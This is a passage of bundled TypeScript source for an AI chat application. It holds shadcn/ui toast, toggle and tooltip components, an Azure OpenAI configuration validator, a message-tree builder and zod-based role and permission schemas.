<ToastProvider>\n {toasts.map(function ({ id, title, description, action, ...props }) {\n return (\n <Toast key={id} {...props}>\n <div className=\"grid gap-1\">\n {title && <ToastTitle>{title}</ToastTitle>}\n {description && (\n <ToastDescription>{description}</ToastDescription>\n )}\n </div>\n {action}\n <ToastClose />\n </Toast>\n )\n })}\n <ToastViewport />\n </ToastProvider>\n )\n}\n\n`;\nexport const toggleGroup = `import * as React from \"react\"\nimport * as ToggleGroupPrimitive from \"@radix-ui/react-toggle-group\"\nimport { type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../../lib/utils\"\nimport { toggleVariants } from \"./toggle\"\n\nconst ToggleGroupContext = React.createContext<\n VariantProps<typeof toggleVariants>\n>({\n size: \"default\",\n variant: \"default\",\n})\n\nconst ToggleGroup = React.forwardRef<\n React.ElementRef<typeof ToggleGroupPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Root> &\n VariantProps<typeof toggleVariants>\n>(({ className, variant, size, children, ...props }, ref) => (\n <ToggleGroupPrimitive.Root\n ref={ref}\n className={cn(\"flex items-center justify-center gap-1\", className)}\n {...props}\n >\n <ToggleGroupContext.Provider value={{ variant, size }}>\n {children}\n </ToggleGroupContext.Provider>\n </ToggleGroupPrimitive.Root>\n))\n\nToggleGroup.displayName = ToggleGroupPrimitive.Root.displayName\n\nconst ToggleGroupItem = React.forwardRef<\n React.ElementRef<typeof ToggleGroupPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Item> &\n VariantProps<typeof toggleVariants>\n>(({ className, children, variant, size, ...props }, ref) => {\n const context = React.useContext(ToggleGroupContext)\n\n return (\n <ToggleGroupPrimitive.Item\n ref={ref}\n className={cn(\n toggleVariants({\n variant: context.variant || variant,\n size: context.size || size,\n }),\n className\n )}\n {...props}\n >\n {children}\n </ToggleGroupPrimitive.Item>\n )\n})\n\nToggleGroupItem.displayName = ToggleGroupPrimitive.Item.displayName\n\nexport { ToggleGroup, ToggleGroupItem }\n\n`;\nexport const toggle = `import * as React from \"react\"\nimport * as TogglePrimitive from \"@radix-ui/react-toggle\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst toggleVariants = cva(\n \"inline-flex items-center justify-center rounded-md text-sm font-medium ring-offset-white transition-colors hover:bg-gray-100 hover:text-gray-500 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=on]:bg-gray-100 data-[state=on]:text-gray-900 dark:ring-offset-gray-950 dark:hover:bg-gray-800 dark:hover:text-gray-400 dark:focus-visible:ring-gray-300 dark:data-[state=on]:bg-gray-800 dark:data-[state=on]:text-gray-50\",\n {\n variants: {\n variant: {\n default: \"bg-transparent\",\n outline:\n \"border border-gray-200 bg-transparent hover:bg-gray-100 hover:text-gray-900 dark:border-gray-800 dark:hover:bg-gray-800 dark:hover:text-gray-50\",\n },\n size: {\n default: \"h-10 px-3\",\n sm: \"h-9 px-2.5\",\n lg: \"h-11 px-5\",\n },\n },\n defaultVariants: {\n variant: \"default\",\n size: \"default\",\n },\n }\n)\n\nconst Toggle = React.forwardRef<\n React.ElementRef<typeof TogglePrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof TogglePrimitive.Root> &\n VariantProps<typeof toggleVariants>\n>(({ className, variant, size, ...props }, ref) => (\n <TogglePrimitive.Root\n ref={ref}\n className={cn(toggleVariants({ variant, size, className }))}\n {...props}\n />\n))\n\nToggle.displayName = TogglePrimitive.Root.displayName\n\nexport { Toggle, toggleVariants }\n\n`;\nexport const tooltip = `import * as React from \"react\"\nimport * as TooltipPrimitive from \"@radix-ui/react-tooltip\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst TooltipProvider = TooltipPrimitive.Provider\n\nconst Tooltip = TooltipPrimitive.Root\n\nconst TooltipTrigger = TooltipPrimitive.Trigger\n\nconst TooltipContent = React.forwardRef<\n React.ElementRef<typeof TooltipPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>\n>(({ className, sideOffset = 4, ...props }, ref) => (\n <TooltipPrimitive.Content\n ref={ref}\n sideOffset={sideOffset}\n className={cn(\n \"z-50 overflow-hidden rounded-md border border-gray-200 bg-white px-3 py-1.5 text-sm text-gray-950 shadow-md animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nTooltipContent.displayName = TooltipPrimitive.Content.displayName\n\nexport { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider }\n\n`;\nexport const useToast = `import * as React from \"react\"\n\nimport type {\n ToastActionElement,\n ToastProps,\n} from \"./toast\"\n\nconst TOAST_LIMIT = 1\nconst TOAST_REMOVE_DELAY = 1000000\n\ntype ToasterToast = ToastProps & {\n id: string\n title?: React.ReactNode\n description?: React.ReactNode\n action?: ToastActionElement\n}\n\nconst actionTypes = {\n ADD_TOAST: \"ADD_TOAST\",\n UPDATE_TOAST: \"UPDATE_TOAST\",\n DISMISS_TOAST: \"DISMISS_TOAST\",\n REMOVE_TOAST: \"REMOVE_TOAST\",\n} as const\n\nlet count = 0\n\nfunction genId() {\n count = (count + 1) % Number.MAX_SAFE_INTEGER\n return count.toString()\n}\n\ntype ActionType = typeof actionTypes\n\ntype Action =\n | {\n type: ActionType[\"ADD_TOAST\"]\n toast: ToasterToast\n }\n | {\n type: ActionType[\"UPDATE_TOAST\"]\n toast: Partial<ToasterToast>\n }\n | {\n type: ActionType[\"DISMISS_TOAST\"]\n toastId?: ToasterToast[\"id\"]\n }\n | {\n type: ActionType[\"REMOVE_TOAST\"]\n toastId?: ToasterToast[\"id\"]\n }\n\ninterface State {\n toasts: ToasterToast[]\n}\n\nconst toastTimeouts = new Map<string, ReturnType<typeof setTimeout>>()\n\nconst addToRemoveQueue = (toastId: string) => {\n if (toastTimeouts.has(toastId)) {\n return\n }\n\n const timeout = setTimeout(() => {\n toastTimeouts.delete(toastId)\n dispatch({\n type: \"REMOVE_TOAST\",\n toastId: toastId,\n })\n }, TOAST_REMOVE_DELAY)\n\n toastTimeouts.set(toastId, timeout)\n}\n\nexport const reducer = (state: State, action: Action): State => {\n switch (action.type) {\n case \"ADD_TOAST\":\n return {\n ...state,\n toasts: [action.toast, ...state.toasts].slice(0, TOAST_LIMIT),\n }\n\n case \"UPDATE_TOAST\":\n return {\n ...state,\n toasts: state.toasts.map((t) =>\n t.id === action.toast.id ? { ...t, ...action.toast } : t\n ),\n }\n\n case \"DISMISS_TOAST\": {\n const { toastId } = action\n\n // ! Side effects ! - This could be extracted into a dismissToast() action,\n // but I'll keep it here for simplicity\n if (toastId) {\n addToRemoveQueue(toastId)\n } else {\n state.toasts.forEach((toast) => {\n addToRemoveQueue(toast.id)\n })\n }\n\n return {\n ...state,\n toasts: state.toasts.map((t) =>\n t.id === toastId || toastId === undefined\n ? {\n ...t,\n open: false,\n }\n : t\n ),\n }\n }\n case \"REMOVE_TOAST\":\n if (action.toastId === undefined) {\n return {\n ...state,\n toasts: [],\n }\n }\n return {\n ...state,\n toasts: state.toasts.filter((t) => t.id !== action.toastId),\n }\n }\n}\n\nconst listeners: Array<(state: State) => void> = []\n\nlet memoryState: State = { toasts: [] }\n\nfunction dispatch(action: Action) {\n memoryState = reducer(memoryState, action)\n listeners.forEach((listener) => {\n listener(memoryState)\n })\n}\n\ntype Toast = Omit<ToasterToast, \"id\">\n\nfunction toast({ ...props }: Toast) {\n const id = genId()\n\n const update = (props: ToasterToast) =>\n dispatch({\n type: \"UPDATE_TOAST\",\n toast: { ...props, id },\n })\n const dismiss = () => dispatch({ type: \"DISMISS_TOAST\", toastId: id })\n\n dispatch({\n type: \"ADD_TOAST\",\n toast: {\n ...props,\n id,\n open: true,\n onOpenChange: (open) => {\n if (!open) dismiss()\n },\n },\n })\n\n return {\n id: id,\n dismiss,\n update,\n }\n}\n\nfunction useToast() {\n const [state, setState] = React.useState<State>(memoryState)\n\n React.useEffect(() => {\n listeners.push(setState)\n return () => {\n const index = listeners.indexOf(setState)\n if (index > -1) {\n listeners.splice(index, 1)\n }\n }\n }, [state])\n\n return {\n ...state,\n toast,\n dismiss: (toastId?: string) => dispatch({ type: \"DISMISS_TOAST\", toastId }),\n }\n}\n\nexport { useToast, toast }\n`;\n\nexport const shadcnComponents = {\n utils: utils,\n accordian: accordian,\n alertDialog: alertDialog,\n alert: alert,\n avatar: avatar,\n badge: badge,\n breadcrumb: breadcrumb,\n button: button,\n calendar: calendar,\n card: card,\n carousel: carousel,\n checkbox: checkbox,\n collapsible: collapsible,\n dialog: dialog,\n drawer: drawer,\n dropdownMenu: dropdownMenu,\n hoverCard: hoverCard,\n input: input,\n label: label,\n menuBar: menuBar,\n navigationMenu: navigationMenu,\n pagination: pagination,\n popover: popover,\n progress: progress,\n radioGroup: radioGroup,\n select: select,\n separator: separator,\n skeleton: skeleton,\n slider: slider,\n switchComponent: switchComponent,\n table: table,\n tabs: tabs,\n textarea: textarea,\n toast: toast,\n toaster: toaster,\n toggleGroup: toggleGroup,\n toggle: toggle,\n tooltip: tooltip,\n useToast: useToast,\n};\n\nexport const essentialShadcnComponents = {\n utils: utils,\n avatar: avatar,\n button: button,\n card: card,\n checkbox: checkbox,\n input: input,\n label: label,\n radioGroup: radioGroup,\n select: select,\n textarea: textarea,\n // badge: badge,\n // dialog: dialog,\n // table: table,\n};\n","import type { ZodError } from 'zod';\nimport type {\n TAzureGroups,\n TAzureGroupMap,\n TAzureModelGroupMap,\n TValidatedAzureConfig,\n TAzureConfigValidationResult,\n} from '../src/config';\nimport { extractEnvVariable, envVarRegex } from '../src/utils';\nimport { azureGroupConfigsSchema } from '../src/config';\nimport { errorsToString } from '../src/parsers';\n\nexport function validateAzureGroups(configs: TAzureGroups): TAzureConfigValidationResult {\n let isValid = true;\n const modelNames: string[] = [];\n const modelGroupMap: TAzureModelGroupMap = {};\n const groupMap: TAzureGroupMap = {};\n const errors: (ZodError | string)[] = [];\n\n const result = azureGroupConfigsSchema.safeParse(configs);\n if (!result.success) {\n isValid = false;\n errors.push(errorsToString(result.error.errors));\n } else {\n for (const group of result.data) {\n const {\n group: groupName,\n apiKey,\n instanceName = '',\n deploymentName = '',\n version = '',\n baseURL = '',\n additionalHeaders,\n models,\n serverless = false,\n ...rest\n } = group;\n\n if (groupMap[groupName]) {\n errors.push(`Duplicate group name detected: \"${groupName}\". Group names must be unique.`);\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n if (serverless && !baseURL) {\n errors.push(`Group \"${groupName}\" is serverless but missing mandatory \"baseURL.\"`);\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n if (!instanceName && !serverless) {\n errors.push(\n `Group \"${groupName}\" is missing an \"instanceName\" for non-serverless configuration.`,\n );\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n groupMap[groupName] = {\n apiKey,\n instanceName,\n deploymentName,\n version,\n baseURL,\n additionalHeaders,\n models,\n serverless,\n ...rest,\n };\n\n for (const modelName in group.models) {\n modelNames.push(modelName);\n const model = group.models[modelName];\n\n if (modelGroupMap[modelName]) {\n errors.push(\n `Duplicate model name detected: \"${modelName}\". Model names must be unique across groups.`,\n );\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n if (serverless) {\n modelGroupMap[modelName] = {\n group: groupName,\n };\n continue;\n }\n\n const groupDeploymentName = group.deploymentName ?? '';\n const groupVersion = group.version ?? '';\n if (typeof model === 'boolean') {\n // For boolean models, check if group-level deploymentName and version are present.\n if (!groupDeploymentName || !groupVersion) {\n errors.push(\n `Model \"${modelName}\" in group \"${groupName}\" is missing a deploymentName or version.`,\n );\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n modelGroupMap[modelName] = {\n group: groupName,\n };\n } else {\n const modelDeploymentName = model.deploymentName ?? '';\n const modelVersion = model.version ?? '';\n // For object models, check if deploymentName and version are required but missing.\n if ((!modelDeploymentName && !groupDeploymentName) || (!modelVersion && !groupVersion)) {\n errors.push(\n `Model \"${modelName}\" in group \"${groupName}\" is missing a required deploymentName or version.`,\n );\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n modelGroupMap[modelName] = {\n group: groupName,\n // deploymentName: modelDeploymentName || groupDeploymentName,\n // version: modelVersion || groupVersion,\n };\n }\n }\n }\n }\n\n return { isValid, modelNames, modelGroupMap, groupMap, errors };\n}\n\ntype AzureOptions = {\n azureOpenAIApiKey: string;\n azureOpenAIApiInstanceName?: string;\n azureOpenAIApiDeploymentName?: string;\n azureOpenAIApiVersion?: string;\n};\n\ntype MappedAzureConfig = {\n azureOptions: AzureOptions;\n baseURL?: string;\n headers?: Record<string, string>;\n serverless?: boolean;\n};\n\nexport function mapModelToAzureConfig({\n modelName,\n modelGroupMap,\n groupMap,\n}: Omit<TValidatedAzureConfig, 'modelNames'> & {\n modelName: string;\n}): MappedAzureConfig {\n const modelConfig = modelGroupMap[modelName];\n if (!modelConfig) {\n throw new Error(`Model named \"${modelName}\" not found in configuration.`);\n }\n\n const groupConfig = groupMap[modelConfig.group];\n if (!groupConfig) {\n throw new Error(\n `Group \"${modelConfig.group}\" for model \"${modelName}\" not found in configuration.`,\n );\n }\n\n const instanceName = groupConfig.instanceName ?? '';\n\n if (!instanceName && groupConfig.serverless !== true) {\n throw new Error(\n `Group \"${modelConfig.group}\" is missing an instanceName for non-serverless configuration.`,\n );\n }\n\n const baseURL = groupConfig.baseURL ?? '';\n if (groupConfig.serverless === true && !baseURL) {\n throw new Error(\n `Group \"${modelConfig.group}\" is missing the required base URL for serverless configuration.`,\n );\n }\n\n if (groupConfig.serverless === true) {\n const result: MappedAzureConfig = {\n azureOptions: {\n azureOpenAIApiVersion: extractEnvVariable(groupConfig.version ?? ''),\n azureOpenAIApiKey: extractEnvVariable(groupConfig.apiKey),\n },\n baseURL: extractEnvVariable(baseURL),\n serverless: true,\n };\n\n const apiKeyValue = result.azureOptions.azureOpenAIApiKey;\n if (typeof apiKeyValue === 'string' && envVarRegex.test(apiKeyValue)) {\n throw new Error(`Azure configuration environment variable \"${apiKeyValue}\" was not found.`);\n }\n\n if (groupConfig.additionalHeaders) {\n result.headers = groupConfig.additionalHeaders;\n }\n\n return result;\n }\n\n if (!instanceName) {\n throw new Error(\n `Group \"${modelConfig.group}\" is missing an instanceName for non-serverless configuration.`,\n );\n }\n\n const modelDetails = groupConfig.models[modelName];\n const { deploymentName = '', version = '' } =\n typeof modelDetails === 'object'\n ? {\n deploymentName: modelDetails.deploymentName ?? groupConfig.deploymentName,\n version: modelDetails.version ?? groupConfig.version,\n }\n : {\n deploymentName: groupConfig.deploymentName,\n version: groupConfig.version,\n };\n\n if (!deploymentName || !version) {\n throw new Error(\n `Model \"${modelName}\" in group \"${modelConfig.group}\" is missing a deploymentName (\"${deploymentName}\") or version (\"${version}\").`,\n );\n }\n\n const azureOptions: AzureOptions = {\n azureOpenAIApiKey: extractEnvVariable(groupConfig.apiKey),\n azureOpenAIApiInstanceName: extractEnvVariable(instanceName),\n azureOpenAIApiDeploymentName: extractEnvVariable(deploymentName),\n azureOpenAIApiVersion: extractEnvVariable(version),\n };\n\n for (const value of Object.values(azureOptions)) {\n if (typeof value === 'string' && envVarRegex.test(value)) {\n throw new Error(`Azure configuration environment variable \"${value}\" was not found.`);\n }\n }\n\n const result: MappedAzureConfig = { azureOptions };\n\n if (baseURL) {\n result.baseURL = extractEnvVariable(baseURL);\n }\n\n if (groupConfig.additionalHeaders) {\n result.headers = groupConfig.additionalHeaders;\n }\n\n return result;\n}\n\nexport function mapGroupToAzureConfig({\n groupName,\n groupMap,\n}: {\n groupName: string;\n groupMap: TAzureGroupMap;\n}): MappedAzureConfig {\n const groupConfig = groupMap[groupName];\n if (!groupConfig) {\n throw new Error(`Group named \"${groupName}\" not found in configuration.`);\n }\n\n const instanceName = groupConfig.instanceName ?? '';\n const serverless = groupConfig.serverless ?? false;\n const baseURL = groupConfig.baseURL ?? '';\n\n if (!instanceName && !serverless) {\n throw new Error(\n `Group \"${groupName}\" is missing an instanceName for non-serverless configuration.`,\n );\n }\n\n if (serverless && !baseURL) {\n throw new Error(\n `Group \"${groupName}\" is missing the required base URL for serverless configuration.`,\n );\n }\n\n const models = Object.keys(groupConfig.models);\n if (models.length === 0) {\n throw new Error(`Group \"${groupName}\" does not have any models configured.`);\n }\n\n // Use the first available model in the group\n const firstModelName = models[0];\n const modelDetails = groupConfig.models[firstModelName];\n\n const azureOptions: AzureOptions = {\n azureOpenAIApiVersion: extractEnvVariable(groupConfig.version ?? ''),\n azureOpenAIApiKey: extractEnvVariable(groupConfig.apiKey),\n azureOpenAIApiInstanceName: extractEnvVariable(instanceName),\n // DeploymentName and Version set below\n };\n\n if (serverless) {\n return {\n azureOptions,\n baseURL: extractEnvVariable(baseURL),\n serverless: true,\n ...(groupConfig.additionalHeaders && { headers: groupConfig.additionalHeaders }),\n };\n }\n\n const { deploymentName = '', version = '' } =\n typeof modelDetails === 'object'\n ? {\n deploymentName: modelDetails.deploymentName ?? groupConfig.deploymentName,\n version: modelDetails.version ?? groupConfig.version,\n }\n : {\n deploymentName: groupConfig.deploymentName,\n version: groupConfig.version,\n };\n\n if (!deploymentName || !version) {\n throw new Error(\n `Model \"${firstModelName}\" in group \"${groupName}\" or the group itself is missing a deploymentName (\"${deploymentName}\") or version (\"${version}\").`,\n );\n }\n\n azureOptions.azureOpenAIApiDeploymentName = extractEnvVariable(deploymentName);\n azureOptions.azureOpenAIApiVersion = extractEnvVariable(version);\n\n const result: MappedAzureConfig = { azureOptions };\n\n if (baseURL) {\n result.baseURL = extractEnvVariable(baseURL);\n }\n\n if (groupConfig.additionalHeaders) {\n result.headers = groupConfig.additionalHeaders;\n }\n\n return result;\n}\n","import type { TFile } from './types/files';\nimport type { TMessage } from './types';\n\nexport type ParentMessage = TMessage & { children: TMessage[]; depth: number };\nexport function buildTree({\n messages,\n fileMap,\n}: {\n messages: (TMessage | undefined)[] | null;\n fileMap?: Record<string, TFile>;\n}) {\n if (messages === null) {\n return null;\n }\n\n const messageMap: Record<string, ParentMessage> = {};\n const rootMessages: TMessage[] = [];\n const childrenCount: Record<string, number> = {};\n\n messages.forEach((message) => {\n if (!message) {\n return;\n }\n const parentId = message.parentMessageId ?? '';\n childrenCount[parentId] = (childrenCount[parentId] || 0) + 1;\n\n const extendedMessage: ParentMessage = {\n ...message,\n children: [],\n depth: 0,\n siblingIndex: childrenCount[parentId] - 1,\n };\n\n if (message.files && fileMap) {\n extendedMessage.files = message.files.map((file) => fileMap[file.file_id ?? ''] ?? file);\n }\n\n messageMap[message.messageId] = extendedMessage;\n\n const parentMessage = messageMap[parentId];\n if (parentMessage) {\n parentMessage.children.push(extendedMessage);\n extendedMessage.depth = parentMessage.depth + 1;\n } else {\n rootMessages.push(extendedMessage);\n }\n });\n\n return rootMessages;\n}\n","import { z } from 'zod';\n\n/**\n * Enum for Permission Types\n */\nexport enum PermissionTypes {\n /**\n * Type for Prompt Permissions\n */\n PROMPTS = 'PROMPTS',\n /**\n * Type for Bookmark Permissions\n */\n BOOKMARKS = 'BOOKMARKS',\n /**\n * Type for Agent Permissions\n */\n AGENTS = 'AGENTS',\n /**\n * Type for Memory Permissions\n */\n MEMORIES = 'MEMORIES',\n /**\n * Type for Multi-Conversation Permissions\n */\n MULTI_CONVO = 'MULTI_CONVO',\n /**\n * Type for Temporary Chat\n */\n TEMPORARY_CHAT = 'TEMPORARY_CHAT',\n /**\n * Type for using the \"Run Code\" LC Code Interpreter API feature\n */\n RUN_CODE = 'RUN_CODE',\n /**\n * Type for using the \"Web Search\" feature\n */\n WEB_SEARCH = 'WEB_SEARCH',\n /**\n * Type for People Picker Permissions\n */\n PEOPLE_PICKER = 'PEOPLE_PICKER',\n /**\n * Type for Marketplace Permissions\n */\n MARKETPLACE = 'MARKETPLACE',\n /**\n * Type for using the \"File Search\" feature\n */\n FILE_SEARCH = 'FILE_SEARCH',\n /**\n * Type for using the \"File Citations\" feature in agents\n */\n FILE_CITATIONS = 'FILE_CITATIONS',\n /**\n * Type for MCP Server Permissions\n */\n MCP_SERVERS = 'MCP_SERVERS',\n /**\n * Type for Remote Agent (API) Permissions\n */\n REMOTE_AGENTS = 'REMOTE_AGENTS',\n}\n\n/**\n * Enum for Role-Based Access Control Constants\n */\nexport enum Permissions {\n USE = 'USE',\n CREATE = 'CREATE',\n UPDATE = 'UPDATE',\n READ = 'READ',\n READ_AUTHOR = 'READ_AUTHOR',\n SHARE = 'SHARE',\n /** Can disable if desired */\n OPT_OUT = 'OPT_OUT',\n VIEW_USERS = 'VIEW_USERS',\n VIEW_GROUPS = 'VIEW_GROUPS',\n VIEW_ROLES = 'VIEW_ROLES',\n /** Can share resources publicly (with everyone) */\n SHARE_PUBLIC = 'SHARE_PUBLIC',\n}\n\nexport const promptPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(false),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(false),\n});\nexport type TPromptPermissions = z.infer<typeof promptPermissionsSchema>;\n\nexport const bookmarkPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TBookmarkPermissions = z.infer<typeof bookmarkPermissionsSchema>;\n\nexport const memoryPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.UPDATE]: z.boolean().default(true),\n [Permissions.READ]: z.boolean().default(true),\n [Permissions.OPT_OUT]: z.boolean().default(true),\n});\nexport type TMemoryPermissions = z.infer<typeof memoryPermissionsSchema>;\n\nexport const agentPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(false),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(false),\n});\nexport type TAgentPermissions = z.infer<typeof agentPermissionsSchema>;\n\nexport const multiConvoPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TMultiConvoPermissions = z.infer<typeof multiConvoPermissionsSchema>;\n\nexport const temporaryChatPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TTemporaryChatPermissions = z.infer<typeof temporaryChatPermissionsSchema>;\n\nexport const runCodePermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TRunCodePermissions = z.infer<typeof runCodePermissionsSchema>;\n\nexport const webSearchPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TWebSearchPermissions = z.infer<typeof webSearchPermissionsSchema>;\n\nexport const peoplePickerPermissionsSchema = z.object({\n [Permissions.VIEW_USERS]: z.boolean().default(true),\n [Permissions.VIEW_GROUPS]: z.boolean().default(true),\n [Permissions.VIEW_ROLES]: z.boolean().default(true),\n});\nexport type TPeoplePickerPermissions = z.infer<typeof peoplePickerPermissionsSchema>;\n\nexport const marketplacePermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(false),\n});\nexport type TMarketplacePermissions = z.infer<typeof marketplacePermissionsSchema>;\n\nexport const fileSearchPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TFileSearchPermissions = z.infer<typeof fileSearchPermissionsSchema>;\n\nexport const fileCitationsPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TFileCitationsPermissions = z.infer<typeof fileCitationsPermissionsSchema>;\n\nexport const mcpServersPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(false),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(false),\n});\nexport type TMcpServersPermissions = z.infer<typeof mcpServersPermissionsSchema>;\n\nexport const remoteAgentsPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(false),\n [Permissions.CREATE]: z.boolean().default(false),\n [Permissions.SHARE]: z.boolean().default(false),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(false),\n});\nexport type TRemoteAgentsPermissions = z.infer<typeof remoteAgentsPermissionsSchema>;\n\n// Define a single permissions schema that holds all permission types.\nexport const permissionsSchema = z.object({\n [PermissionTypes.PROMPTS]: promptPermissionsSchema,\n [PermissionTypes.BOOKMARKS]: bookmarkPermissionsSchema,\n [PermissionTypes.MEMORIES]: memoryPermissionsSchema,\n [PermissionTypes.AGENTS]: agentPermissionsSchema,\n [PermissionTypes.MULTI_CONVO]: multiConvoPermissionsSchema,\n [PermissionTypes.TEMPORARY_CHAT]: temporaryChatPermissionsSchema,\n [PermissionTypes.RUN_CODE]: runCodePermissionsSchema,\n [PermissionTypes.WEB_SEARCH]: webSearchPermissionsSchema,\n [PermissionTypes.PEOPLE_PICKER]: peoplePickerPermissionsSchema,\n [PermissionTypes.MARKETPLACE]: marketplacePermissionsSchema,\n [PermissionTypes.FILE_SEARCH]: fileSearchPermissionsSchema,\n [PermissionTypes.FILE_CITATIONS]: fileCitationsPermissionsSchema,\n [PermissionTypes.MCP_SERVERS]: mcpServersPermissionsSchema,\n [PermissionTypes.REMOTE_AGENTS]: remoteAgentsPermissionsSchema,\n});\n","import { z } from 'zod';\nimport {\n Permissions,\n PermissionTypes,\n permissionsSchema,\n agentPermissionsSchema,\n promptPermissionsSchema,\n memoryPermissionsSchema,\n runCodePermissionsSchema,\n bookmarkPermissionsSchema,\n webSearchPermissionsSchema,\n fileSearchPermissionsSchema,\n multiConvoPermissionsSchema,\n mcpServersPermissionsSchema,\n peoplePickerPermissionsSchema,\n remoteAgentsPermissionsSchema,\n temporaryChatPermissionsSchema,\n fileCitationsPermissionsSchema,\n} from './permissions';\n\n/**\n * Enum for System Defined Roles\n */\nexport enum SystemRoles {\n /**\n * The Admin role\n */\n ADMIN = 'ADMIN',\n /**\n * The default user role\n */\n USER = 'USER',\n}\n\nexport const roleSchema = z.object({\n name: z.string(),\n permissions: permissionsSchema,\n});\n\nexport type TRole = z.infer<typeof roleSchema>;\n\nconst defaultRolesSchema = z.object({\n [SystemRoles.ADMIN]: roleSchema.extend({\n name: z.literal(SystemRoles.ADMIN),\n permissions: permissionsSchema.extend({\n [PermissionTypes.PROMPTS]: promptPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(true),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(true),\n }),\n [PermissionTypes.BOOKMARKS]: bookmarkPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.MEMORIES]: memoryPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.UPDATE]: z.boolean().default(true),\n [Permissions.READ]: z.boolean().default(true),\n [Permissions.OPT_OUT]: z.boolean().default(true),\n }),\n [PermissionTypes.AGENTS]: agentPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(true),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(true),\n }),\n [PermissionTypes.MULTI_CONVO]: multiConvoPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.TEMPORARY_CHAT]: temporaryChatPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.RUN_CODE]: runCodePermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.WEB_SEARCH]: webSearchPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.PEOPLE_PICKER]: peoplePickerPermissionsSchema.extend({\n [Permissions.VIEW_USERS]: z.boolean().default(true),\n [Permissions.VIEW_GROUPS]: z.boolean().default(true),\n [Permissions.VIEW_ROLES]: z.boolean().default(true),\n }),\n [PermissionTypes.MARKETPLACE]: z.object({\n [Permissions.USE]: z.boolean().default(false),\n }),\n [PermissionTypes.FILE_SEARCH]: fileSearchPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.FILE_CITATIONS]: fileCitationsPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.MCP_SERVERS]: mcpServersPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(true),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(true),\n }),\n [PermissionTypes.REMOTE_AGENTS]: remoteAgentsPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(true),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(true),\n }),\n }),\n }),\n [SystemRoles.USER]: roleSchema.extend({\n name: z.literal(SystemRoles.USER),\n permissions: permissionsSchema,\n }),\n});\n\nexport const roleDefaults = defaultRolesSchema.parse({\n [SystemRoles.ADMIN]: {\n name: SystemRoles.ADMIN,\n permissions: {\n [PermissionTypes.PROMPTS]: {\n 